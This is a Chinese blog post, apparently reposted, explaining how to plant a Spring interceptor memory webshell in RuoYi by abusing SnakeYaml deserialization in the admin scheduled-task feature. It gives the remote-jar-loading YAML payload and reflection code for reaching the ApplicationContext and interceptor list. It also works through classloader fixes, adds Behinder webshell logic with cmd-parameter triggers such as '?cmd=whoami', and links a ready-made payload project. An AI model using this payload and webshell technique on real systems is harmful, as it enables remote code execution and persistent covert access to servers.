|
原文链接:RuoYi 可用内存马 (qq.com)
前言前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。
如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。
漏洞分析
这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。
漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法
 
系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName)获得实例;
如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例
最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用
public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。
 
当我们传入的类名为完全包名称,需要满足三个条件才能正常使用
- 具有无参构造方法
- 调用的方法需要是类自身声明的方法,不能是他的父类方法
- 构造方法和调用的方法均为 public
而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞,而 SnakeYaml 反序列化漏洞具体分析和利用方法,可以参考 Mi1k7ea 师傅的文章,这里就不多赘述。
以下测试我都使用一下payload,其他利用方法改改即可
[backcolor=rgba(0, 0, 0, 0.03)]org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
[backcolor=rgba(0, 0, 0, 0.03)]
第一代马儿
首先我使用把 bitterzzZZ师傅写的马儿 的逻辑放到恶意类中,在获取上下文环境时就报错了,主要是因为这里的触发点为定时任务,触发点和Web服务不在同一个线程(大概是这个意思)
 
知道了原因就是解决问题了,主要思路是利用别的方法获得上下文环境,第一时间想到的是LandGrey师傅 利用 intercetor 注入 spring 内存 webshell 给出的另一种获得 ApplicationContext 的方法,通过反射获得 LiveBeansView 类的属性,通过这个属性值来获取 ApplicationContext 总可以了吧(而且版本也是符合的)
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");// 2. 属性被 private 修饰,所以 setAccessible truefiled.setAccessible(true);// 3. 获取一个 ApplicationContext 实例org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();// 4. 获得 adaptedInterceptors 属性值org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
更换代码后没啥问题,能够正常注入内存马,在此基础上加上了删除马儿和冰蝎逻辑后就上传到 GitHub,以为此事就此结束
第二代马儿
过了十来天,有师傅说我的马儿在 linux 系统下运行的 RuoYi 注入不进去,具体情况如下:
- 测试版本为 RUOYI-VUE 3.6
- 在 Windows 可注入内存马,但是自己打包的 jar 包不行
- 在 Linux 中无法注入内存马
看了一下RuoYi-VUE 3.6 和我测试版本 RuoYi 4.6 的 Spring Boot 和 Srping都是相同的,按理来说都一样才对
打包问题
首先要了一份他打包的 jar 包,发现 jar 包结构有点问题。前面那个是我使用 maven 打包,能够正常使用的 jar 包,是符合 SPI 机制的。而后面那个则是通过 Project Structure > Project Settsings > Aritifacts 打包的,把依赖也打包进来了,而关键的文件则没有在正确的位置。使用 maven 打包项目即可解决该问题
 
新的获得 ApplicationContext 方法然后是在 linux 中无法使用的问题,通过查看报错信息可以了解到是在获得上下文环境时出现了问题
 
通过对比可以发现(左 linux 右 windows),在 linux 环境下 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性中确实没有我们想要的值
 
找一下注册逻辑(左 linux 右 windows)发现在 linux 环境下 mbeanDomain 为 null,导致他不会把我们的 ApplicationContext 放入 applicationContexts 属性中
 
虽然不知道啥原因导致mbeanDomain不同,但是估计得找一个新的方法获得ApplicationContext
我把这个问题丢给 r2师傅 后,他找了一会后给了我个在若依能够使用的方法
Field f = Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext");f.setAccessible(true);org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);他主要是通过 dump 内存后发现有个成色不错的类,正好符合我们的需求
 
在启动阶段会把 applicationContext 赋值到他的 applicationContext 属性中,且该属性被static修饰
 
后面使用 java-object-searcher,也找到了合适的获得 ApplicationContext 方法
 
 
Field field = Thread.currentThread().getClass().getDeclaredField("runnable");field.setAccessible(true);Object obj = field.get(Thread.currentThread());field = obj.getClass().getDeclaredField("qs");field.setAccessible(true);obj = field.get(obj);field = obj.getClass().getDeclaredField("context");field.setAccessible(true);obj = field.get(obj);Map m = (Map) obj;org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext)m.get("applicationContextKey");
修改之后就能用了
加载器问题
但是在此过程中,又有一个问题:
当时我在测试 linux 环境下时使用的是在 linux 下跑运行 ruoyi-admin.jar(官方给的运行方法也是运行 jar 包),发现在 payload 运行到获取上下文前就抛出异常了,查了一遍发现是在继承HandlerInterceptorAdapter时无法找到HandlerInterceptorAdapter 这个类,这就有点奇怪了,在加载过程中是正常的,在继承的时候就找不到了。
 
后来发现是加载器问题,可参考 深入Spring Boot:ClassLoader的继承关系和影响
- 在IDE里,直接run main函数
则Spring的ClassLoader直接是SystemClassLoader。ClassLoader的urls包含全部的jar和自己的target/classes
- 以fat jar运行
执行应用的main函数的ClassLoader是LaunchedURLClassLoader,它的parent是SystemClassLoader。
并且LaunchedURLClassLoader的urls是 fat jar里的BOOT-INF/classes!/目录和BOOT-INF/lib里的所有jar。
看一下 HandlerInterceptor 和 HandlerInterceptorAdapter 存在于 spring-webmvc-5.2.12.RELEASE.jar ,存放于 BOOT-INF/lib 下。
当我们以fat jar运行时,使用的是 LaunchedURLClassLoader ,所以在程序运行过程中是能够找到该类的
 
 
那为什么我们的恶意类去继承HandlerInterceptorAdapter 时找不到该类呢
这里大概看一下寻找 HandlerInterceptorAdapter 的过程
可以看到,这里使用的是 URLClassLoader 作为类加载器
 
根据双亲委派模型会去引导类加载器和扩展类加载器找该类,这肯定是找不到的,然后回到 AppClassLoader 来加载类,这里只有一个 ruoyi-admin.jar 包,找不到 HandlerInterceptorAdapter
 
最后回到 URLClassLoader,他会去我们我们的恶意 jar 包找,这也是找不到的,最后只能抛出 NoClassDefFoundError
 
而 LaunchedURLClassLoader中则会去 spring-webmvc.jar 中找到我们需要的类
 
 
我们使用 LaunchedURLClassLoader来加载这个类即可,详见 Github
以上加载器继承关系如下
 
总结
至此所有发现的问题已解决,这里总结一下以上比较坑的点:
- 反序列化点在定时任务,和以往的在 Web 服务中不同
- windows 和 linux 使用 idea 启动项目时有一些参数值是不一样的,在 windows 中会把 applicationContext 注册到 org.springframework.context.support.LiveBeansView 的 applicationContexts 中,而 linux 环境下则不会
- 以 fat jar 运行时使用的是 LaunchedURLClassLoader ,而在 Yaml 中使用 URLClassloader 来加载类,导致 Yaml 加载类过程中找不到 spring 包里的类。
项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi
此外,这里也记录一下其他比较坑的点
在实现冰蝎逻辑后,在测试的时候发现没法触发,后来发现是因为我主页测试的,如果在未登录情况下会跳转到 登陆界面,解决方法是带上cookie使用冰蝎或者直接在登陆界面触发:/login?cmd=1
(添加一个 cmd != null 是防止影响其他业务,也可自行修改)
else if (cmd != null && request.getMethod().equals("POST")){ // for rebeyond // 冰蝎的逻辑}在 ruoyi-vue 前后端分离版本中,在前端传参后台可能接收不到参数值,比较好的方法就是直接在后端传值 
或者从前端使用api http://localhost/dev-api/?cmd=whoami
 
在 ruoyi-vue 前后端分离版本中,在使用冰蝎的时候会有点问题,报错如下图。具体原因和解决方案还未清楚,知道的大佬也请指教
 
|
|